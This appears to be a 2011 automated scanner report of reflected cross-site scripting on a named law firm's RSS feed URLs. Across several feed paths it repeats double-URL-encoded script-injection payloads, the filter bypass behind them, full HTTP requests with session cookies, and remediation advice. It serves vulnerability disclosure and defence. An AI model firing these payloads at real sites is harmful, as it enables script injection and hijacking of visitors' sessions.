The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 413f8%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e89fd6730150 was submitted in the REST URL parameter 1. This input was echoed as 413f8"><script>alert(1)</script>89fd6730150 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss413f8%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e89fd6730150/practices/Communications/rss.xml HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:08 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3fe4c%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e24c5c30db8e was submitted in the REST URL parameter 2. This input was echoed as 3fe4c"><script>alert(1)</script>24c5c30db8e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss/practices3fe4c%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e24c5c30db8e/Communications/rss.xml HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:09 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 21c62%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eda39f0f31a2 was submitted in the REST URL parameter 3. This input was echoed as 21c62"><script>alert(1)</script>da39f0f31a2 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss/practices/Communications21c62%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eda39f0f31a2/rss.xml HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:10 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c659f%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e72b7507567a was submitted in the REST URL parameter 4. This input was echoed as c659f"><script>alert(1)</script>72b7507567a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss/practices/Communications/rss.xmlc659f%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e72b7507567a HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:11 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f366f%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ea6a0233650 was submitted in the REST URL parameter 1. This input was echoed as f366f"><script>alert(1)</script>a6a0233650 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rssf366f%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ea6a0233650/practices/Corporate/rss.xml HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:08 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8174b%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253efb0e9ce51eb was submitted in the REST URL parameter 2. This input was echoed as 8174b"><script>alert(1)</script>fb0e9ce51eb in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss/practices8174b%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253efb0e9ce51eb/Corporate/rss.xml HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:09 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 114fe%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e550bbc6f87b was submitted in the REST URL parameter 3. This input was echoed as 114fe"><script>alert(1)</script>550bbc6f87b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss/practices/Corporate114fe%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e550bbc6f87b/rss.xml HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:10 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6f9cb%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e495b8d11a77 was submitted in the REST URL parameter 4. This input was echoed as 6f9cb"><script>alert(1)</script>495b8d11a77 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss/practices/Corporate/rss.xml6f9cb%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e495b8d11a77 HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:11 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d782d%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ed2f1002c72f was submitted in the REST URL parameter 1. This input was echoed as d782d"><script>alert(1)</script>d2f1002c72f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rssd782d%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ed2f1002c72f/practices/Election_Law__Government_Ethics/rss.xml HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:10 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8ddc1%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e11d8c833232 was submitted in the REST URL parameter 2. This input was echoed as 8ddc1"><script>alert(1)</script>11d8c833232 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss/practices8ddc1%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e11d8c833232/Election_Law__Government_Ethics/rss.xml HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:11 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload de06e%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e97b01f23fb3 was submitted in the REST URL parameter 3. This input was echoed as de06e"><script>alert(1)</script>97b01f23fb3 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss/practices/Election_Law__Government_Ethicsde06e%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e97b01f23fb3/rss.xml HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:12 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6d35d%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e1977a3e2ac was submitted in the REST URL parameter 4. This input was echoed as 6d35d"><script>alert(1)</script>1977a3e2ac in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss/practices/Election_Law__Government_Ethics/rss.xml6d35d%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e1977a3e2ac HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:13 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 290f3%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e18476e2452b was submitted in the REST URL parameter 1. This input was echoed as 290f3"><script>alert(1)</script>18476e2452b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss290f3%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e18476e2452b/practices/Employment__Labor/rss.xml HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:11 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9b5ec%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e43dabe5a732 was submitted in the REST URL parameter 2. This input was echoed as 9b5ec"><script>alert(1)</script>43dabe5a732 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss/practices9b5ec%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e43dabe5a732/Employment__Labor/rss.xml HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:12 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e75a9%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e28bea29faf8 was submitted in the REST URL parameter 3. This input was echoed as e75a9"><script>alert(1)</script>28bea29faf8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss/practices/Employment__Labore75a9%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e28bea29faf8/rss.xml HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:13 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7e26b%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ea05a8e876db was submitted in the REST URL parameter 4. This input was echoed as 7e26b"><script>alert(1)</script>a05a8e876db in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss/practices/Employment__Labor/rss.xml7e26b%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ea05a8e876db HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:14 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ac191%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e408ea2dc39c was submitted in the REST URL parameter 1. This input was echoed as ac191"><script>alert(1)</script>408ea2dc39c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rssac191%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e408ea2dc39c/practices/Environment__Safety/rss.xml HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:10 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload faef9%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e09c7b47057d was submitted in the REST URL parameter 2. This input was echoed as faef9"><script>alert(1)</script>09c7b47057d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss/practicesfaef9%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e09c7b47057d/Environment__Safety/rss.xml HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:12 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 14f97%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253edf3bd752872 was submitted in the REST URL parameter 3. This input was echoed as 14f97"><script>alert(1)</script>df3bd752872 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss/practices/Environment__Safety14f97%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253edf3bd752872/rss.xml HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:13 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
